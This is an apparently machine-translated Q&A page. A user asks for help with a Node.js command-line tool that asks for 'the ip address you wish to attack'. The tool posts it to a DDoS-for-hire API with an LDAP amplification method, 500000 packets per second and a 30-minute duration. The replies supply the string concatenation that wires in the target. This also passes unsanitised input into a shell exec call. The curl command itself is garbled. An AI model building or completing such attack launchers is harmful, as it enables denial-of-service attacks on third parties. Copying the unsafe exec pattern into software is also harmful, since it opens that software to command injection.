Javascript 将变量添加到curl命令中

Javascript 将变量添加到curl命令中,javascript,Javascript,我需要为我的CLI客户端将“answer”放入curl-d target=中。我已经研究了好几个小时了,但还没有弄明白。你有没有尝试过字符串连接,因为你只是用curl命令将一个字符串传递给exec var readline = require('readline'); var exec = require('child_process').exec, child; var rl = readline.createInterface({ input: process.stdi

我需要为我的CLI客户端将“answer”放入curl-d target=中。我已经研究了好几个小时了,但还没有弄明白。你有没有尝试过字符串连接,因为你只是用curl命令将一个字符串传递给exec

  var readline = require('readline');
 var exec = require('child_process').exec,
  child;
  var rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout
   });
   rl.question('What is the ip address you wish to attack?', (answer) 
    => 
    {
  const concatenation = 'Attacking ' + answer;
    child = exec('curl https://api.wifi.rip/v1/attacks/launch  \
        curl -X POST \
        curl -d token="" \
        curl -d target= \
        curl -d port=80 \
        curl -d duration=1800 \
        curl -d method="LDAP" \
        curl -d pps=500000 \
        curl -v');
        console.log(concatenation);

    child.stdout.pipe(process.stdout);
    rl.close();
    });
例如,您可以执行以下操作:

var answer = "the answer";
console.log("This is " + answer); // Prints "This is the answer"

谢谢大家的帮助。js中的连接是
+
,类似于
curl-d target='+answer+'
,或者您可以使用模板文本将所有curl命令放在``而不是
'
中,然后在您希望变量所在的特定位置执行${answer}非常感谢。我知道这是一个简单的解决办法,我就是想不出来。
exec('curl https://url.com \
    ...
    curl -d target=' + answer + ' \
    curl ...')
 concatenation in js is +, like curl -d target=' + answer + '